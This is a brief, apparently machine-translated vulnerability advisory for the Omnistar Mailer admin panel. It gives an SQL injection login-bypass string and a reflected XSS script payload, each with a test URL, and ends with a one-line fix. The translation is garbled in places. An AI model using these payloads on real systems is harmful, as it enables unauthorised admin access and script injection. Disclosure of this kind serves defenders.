Omnistar Mailer multiple defects and repair

Title: Omnistar Mailer SQLi Vulnerability

Developer Website: http://www.omnistarmailer.com/www.2cto.com

Author: Sid3 ^ effects aKa HaRi <shell_c99 [at] yahoo.com>

Description:

 

Are you a business and your are looking to increase your profit? Omnistar mailing list software will

 

Allow you to send campaigns and professional html emails to your MERs and potential MERs in no time at all.

 

1. Manage verification Defects

 

Universal password: 'or 1 = 1 or ''='

 

Test URL

Http://www.bkjia.com/mailerd4/admin/index. php

 

2. XSS

 

Attack pattern: "> <script> alert (" Sid3 ^ effects ") </script>

 

Test url: http://www.bkjia.com/mailerd4/admin/contacts. php? Op = [xss]

 

 

Fixed: enhanced verification and filtering

 

# 0day no more

# Sid3 ^ effects